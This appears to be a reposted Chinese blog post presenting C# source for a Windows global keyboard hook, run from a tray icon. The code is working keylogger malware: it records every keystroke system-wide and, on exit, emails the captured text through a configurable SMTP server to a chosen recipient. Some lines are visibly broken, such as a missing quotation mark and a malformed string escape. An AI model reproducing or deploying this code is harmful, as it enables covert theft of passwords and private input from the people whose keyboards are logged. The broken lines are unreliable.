c# 全局键盘钩子(无窗体)

using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net.Mail;

namespace noformtest
{
    static class Program
    {
        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            System.Resources.ResourceManager resources = new System.Resources.ResourceManager("noformtest.Properties.Resources", System.Reflection.Assembly.GetExecutingAssembly());
           
            MyHook myhook1 = new MyHook();
             myhook1.HookStart();
            NotifyIcon ni = new NotifyIcon();
            ContextMenuStrip cs = new System.Windows.Forms.ContextMenuStrip();
            ni.Icon = ((System.Drawing.Icon)(resources.GetObject("_1")));
            ni.BalloonTipIcon = System.Windows.Forms.ToolTipIcon.Warning;
            ni.BalloonTipText = "小钩子";
            ni.BalloonTipTitle = "嘎嘎";
            ni.Visible = true;
            ni.Text = "键盘钩子";

            ni.ContextMenuStrip = cs;
            ToolStripMenuItem ExitToolStripMenuItem= new ToolStripMenuItem();
            cs.Items.AddRange(
            new System.Windows.Forms.ToolStripItem[] {
            ExitToolStripMenuItem }
            );
            cs.Name = "cs";
            cs.Size = new System.Drawing.Size(95, 48);
           
            ExitToolStripMenuItem.Name = "ExitToolStripMenuItem";
            ExitToolStripMenuItem.Size = new System.Drawing.Size(94, 22);
            ExitToolStripMenuItem.Text = "退出";
            ExitToolStripMenuItem.Click += delegate(object sender, EventArgs e)
            {
                ni.Visible = false;
                //myhook1.saveTofile();//保存到本地文件

//发送到指定邮箱(stmp)
                EMail email = new EMail("发件人地址", 收件人地址","STMP邮件服务器地址", "用户名", "密码", myhook1.strall);
                email.sendmail();


                myhook1.HookStop();
                Application.Exit();

            };
          
            ni.MouseClick += delegate(object sender, MouseEventArgs e)
            {
               if( e.Button== MouseButtons.Left)
                ni.ShowBalloonTip(5);
            };
           

            Application.Run();
        }

        public partial class MyHook {
            ProcessModule curModule;
           //声明委托
            public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
            public string strall;
            HookProc KeyboardHookProcedure;
            static int hKeyboardHook = 0;
            const int WM_KEYDOWN = 0x0100;
            const int WM_SYSKEYDOWN = 0x0104;
            //定义变量
            internal enum HookType   //枚举,钩子的类型    
            {
                //MsgFilter   =   -1,    
                //JournalRecord   =   0,    
                //JournalPlayback   =   1,    
                Keyboard = 13,   
                //GetMessage   =   3,    
                //CallWndProc   =   4,    
                //CBT   =   5,    
                //SysMsgFilter   =   6,    
                //Mouse   =   7,    
                //Hardware   =   8,    
                //Debug   =   9,    
                //Shell   =   10,    
                //ForegroundIdle   =   11,    
                //CallWndProcRet   =   12,    
                //KeyboardLL   =   13,    
                //MouseLL   =   14,    
            };
            //键盘结构
            public struct KeyMSG
            {
                public int vkCode; //键值
                public int scanCode;
                public int flags;
                public int time;
                public int dwExtraInfo;
            }

            // 安装钩子 (using System.Runtime.InteropServices;)
            [DllImport("user32.dll", EntryPoint = "SetWindowsHookExA")]
            public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);

            // 卸载钩子
            [DllImport("user32.dll")]
            public static extern bool UnhookWindowsHookEx(int idHook);

            // 继续下一个钩子
            [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
            public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            public static extern int GetKeyNameText(Int32 wParam);
            // 取得当前线程编号(线程钩子需要用到)
            [DllImport("kernel32.dll")]
            static extern IntPtr GetModuleHandle(string name);
            // 安装钩子
            public void HookStart()
            {
                if (hKeyboardHook == 0)
                {
                    // 创建HookProc实例
                    KeyboardHookProcedure = new HookProc(KeyboardHookProc);
                    // 设置线程钩子

                    using (Process curProcess = Process.GetCurrentProcess())
                        curModule = curProcess.MainModule;
                    hKeyboardHook = SetWindowsHookEx(13, KeyboardHookProcedure, Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0]), 0);
                    hKeyboardHook = SetWindowsHookEx((int)HookType.Keyboard, KeyboardHookProcedure, GetModuleHandle(curModule.ModuleName), 0);

                    //************************************
                    //键盘线程钩子
                    //SetWindowsHookEx( 13,KeyboardHookProcedure, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()为要监视的线程ID,你完全可以自己写个方法获取QQ的线程哦
                    //键盘全局钩子,需要引用空间(using System.Reflection;)
                    //SetWindowsHookEx( 13,KeyboardHookProcedure,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0);
                    //
                    //关于SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函数将钩子加入到钩子链表中,说明一下四个参数:
                    //idHook 钩子类型,即确定钩子监听何种消息,上面的代码中设为2,即监听键盘消息并且是线程钩子,如果是全局钩子监听键盘消息应设为13,
                    //线程钩子监听鼠标消息设为7,全局钩子监听鼠标消息设为14。
                    //
                    //lpfn 钩子子程的地址指针。如果dwThreadId参数为0 或是一个由别的进程创建的线程的标识,lpfn必须指向DLL中的钩子子程。 除此以外,lpfn可
                    //以指向当前进程的一段钩子子程代码。钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数。
                    //
                    //hInstance应用程序实例的句柄。标识包含lpfn所指的子程的DLL。如果threadId 标识当前进程创建的一个线程,而且子程代码位于当前
                    //进程,hInstance必须为NULL。可以很简单的设定其为本应用程序的实例句柄。
                    //
                    //threadedId 与安装的钩子子程相关联的线程的标识符。如果为0,钩子子程与所有的线程关联,即为全局钩子。
                    //************************************

                    // 如果设置钩子失败
                    if (hKeyboardHook == 0)
                    {
                        HookStop();
                        throw new Exception("SetWindowsHookEx failed.");
                    }
                }
            }
            // 卸载钩子
            public void HookStop()
            {
                bool retKeyboard = true;
                if (hKeyboardHook != 0)
                {
                    retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
                    hKeyboardHook = 0;
                }
                if (!(retKeyboard))
                    throw new Exception("UnhookWindowsHookEx failed.");
            }

            //钩子子程:就是钩子所要做的事情
            private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
            {

                if (nCode >= 0 && (wParam == (Int32)WM_KEYDOWN || wParam == (Int32)WM_SYSKEYDOWN))
                {
                    KeyMSG m = (KeyMSG)Marshal.PtrToStructure(lParam, typeof(KeyMSG));//键盘
                    strall += this.MyGetKeyNameText(m.vkCode);
                    return 0;//如果返回1,则结束消息,这个消息到此为止,不再传递。如果返回0或调用CallNextHookEx函数则消息出了这个钩子继续往下传递,也就是传给消息真正的接受者
                }
                return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
            }

//虚键码表
            string MyGetKeyNameText(Int32 wParam)
            {
                string str = null;
                switch (wParam)
                {
                    case 0x8:
                        str = "(BACKSPACE)";
                        break;
                    case 0x9:
                        str = "(TAB)";
                        break;
                    case 0xC:
                        str = "(CLEAR)";
                        break;
                    case 0xD:
                        str = "(ENTER)";
                        break;
                    case 160:
                        str = "(SHIFT)";
                        break;
                    case 161:
                        str = "(SHIFT)";
                        break;
                    case 162:
                        str = "(CTRL)";
                        break;
                    case 163:
                        str = "(CTRL)";
                        break;
                    case 0x12:
                        str = "(MENU)";
                        break;
                    case 0x13:
                        str = "(PAUSE)";
                        break;
                    case 0x14:
                        str = "(CAPSLOCK)";
                        break;
                    case 0x1B:
                        str = "(ESC)";
                        break;
                    case 0x20:
                        str = "(SPACEBAR)";
                        break;
                    case 0x21:
                        str = "(PAGE)";
                        break;
                    case 0x22:
                        str = "(PAGEDOWN)";
                        break;
                    case 0x23:
                        str = "(END)";
                        break;
                    case 0x24:
                        str = "(HOME)";
                        break;
                    case 0x25:
                        str = "(LEFTARROW)";
                        break;
                    case 0x26:
                        str = "(UPARROW)";
                        break;
                    case 0x27:
                        str = "(RIGHTARROW)";
                        break;
                    case 0x28:
                        str = "(DOWNARROW)";
                        break;
                    case 0x29:
                        str = "(Select)";
                        break;
                    case 0x2A:
                        str = "(PRINTSCREEN)";
                        break;
                    case 0x2B:
                        str = "(EXECUTE)";
                        break;
                    case 0x2C:
                        str = "(SNAPSHOT)";
                        break;
                    case 0x2D:
                        str = "(Insert)";
                        break;
                    case 0x2E:
                        str = "(Delete)";
                        break;
                    case 0x2F:
                        str = "(HELP)";
                        break;
                    case 0x90:
                        str = "(NUMLOCK)";
                        break;
                    case 0x60:
                        str = "0"; break;
                    case 0x61:
                        str = "1"; break;
                    case 0x62:
                        str = "2"; break;
                    case 0x63:
                        str = "3"; break;
                    case 0x64:
                        str = "4"; break;
                    case 0x65:
                        str = "5"; break;
                    case 0x66:
                        str = "6"; break;
                    case 0x67:
                        str = "7"; break;
                    case 0x68:
                        str = "8"; break;
                    case 0x69:
                        str = "9"; break;
                    case 0x6A:
                        str = "(*)"; break;
                    case 0x6B:
                        str = "(+)"; break;
                    case 0x6C:
                        str = "(ENTER)"; break;
                    case 0x6D:
                        str = "(–)"; break;
                    case 0x6E:
                        str = "(.)"; break;
                    case 0x6F:
                        str = "(/)"; break;
                    case 0x70:
                        str = "(F1)";
                        break;
                    case 0x71:
                        str = "(F2)";
                        break;
                    case 0x72:
                        str = "(F3)";
                        break;
                    case 0x73:
                        str = "(F4)";
                        break;
                    case 0x74:
                        str = "(F5)";
                        break;
                    case 0x75:
                        str = "(F6)";
                        break;
                    case 0x76:
                        str = "(F7)";
                        break;
                    case 0x77:
                        str = "(F8)";
                        break;
                    case 0x78:
                        str = "(F9)";
                        break;
                    case 0x79:
                        str = "(F10)";
                        break;
                    case 0x7A:
                        str = "(F11)";
                        break;
                    case 0x7B:
                        str = "(F12)";
                        break;
                    case 186:
                        str = ";:";
                        break;
                    case 187:
                        str = "= +";
                        break;
                    case 188:
                        str = "(<,)";
                        break;
                        str = "(;:)";
                        break;
                    case 189:
                        str = "(-_)";
                        break;
                    case 190:
                        str = "(>.)";
                        break;
                    case 191:
                        str = "(/?)";
                        break;
                    case 192:
                        str = "(`~)";
                        break;
                    case 219:
                        str = "([{)";
                        break;
                    case 220:
                        str = "(//|)";
                        break;
                    case 221:
                        str = "(]})";
                        break;
                    case 222:
                        str = "('/")";
                        break;
                    default:
                        str = Chr(wParam);
                        break;
                }

                return str;
            }
            public static string Chr(int asciiCode)
            {

                if (asciiCode >= 65 && asciiCode <= 90)
                {
                    asciiCode = asciiCode + 32;
                }
                System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
                byte[] byteArray = new byte[] { (byte)asciiCode };
                string strCharacter = asciiEncoding.GetString(byteArray);
                return (strCharacter);
            }
            public void saveTofile()
            {
                System.IO.StreamWriter rw = System.IO.File.CreateText("myText.txt");
                rw.WriteLine(strall);
                rw.Flush();
                rw.Close();
            }
       
        }

        public class EMail{
            public EMail(string mailfrom,string mailto,string serverAD,string username,string pw,string str ) {
                this.mailfrom = new MailAddress(mailfrom);
                this.mailto = new MailAddress(mailto) ;
                this.serverAD = serverAD;
                this.username = username;
                this.pw = pw;
                this.str = str;
            }
            private MailAddress mailfrom;
            private string username;
            private string pw;
            private string serverAD;
            private MailAddress mailto;
            private string str;
            public void sendmail() {
                MailMessage message = new MailMessage(mailfrom, mailto);
                message.Subject = "keyHook";
                message.Body = str;
                message.BodyEncoding = System.Text.Encoding.Default;
                SmtpClient client = new SmtpClient(serverAD);

                client.DeliveryMethod = SmtpDeliveryMethod.Network;

                client.UseDefaultCredentials = false;

                client.EnableSsl = false;

                //身份认证
                client.Credentials = new System.Net.NetworkCredential(username, pw);

               

                try
                {

                    client.Send(message);

                }

                catch (SmtpException ex)
                {

                    MessageBox.Show(ex.Message);

               

                }

                catch (Exception ex2)
                {

                    MessageBox.Show(ex2.Message);

                

                }

            }
           

    }
       
       
       
       
       
       
    }
}

猜你喜欢

转载自blog.csdn.net/debugs_i_n_a/article/details/5073869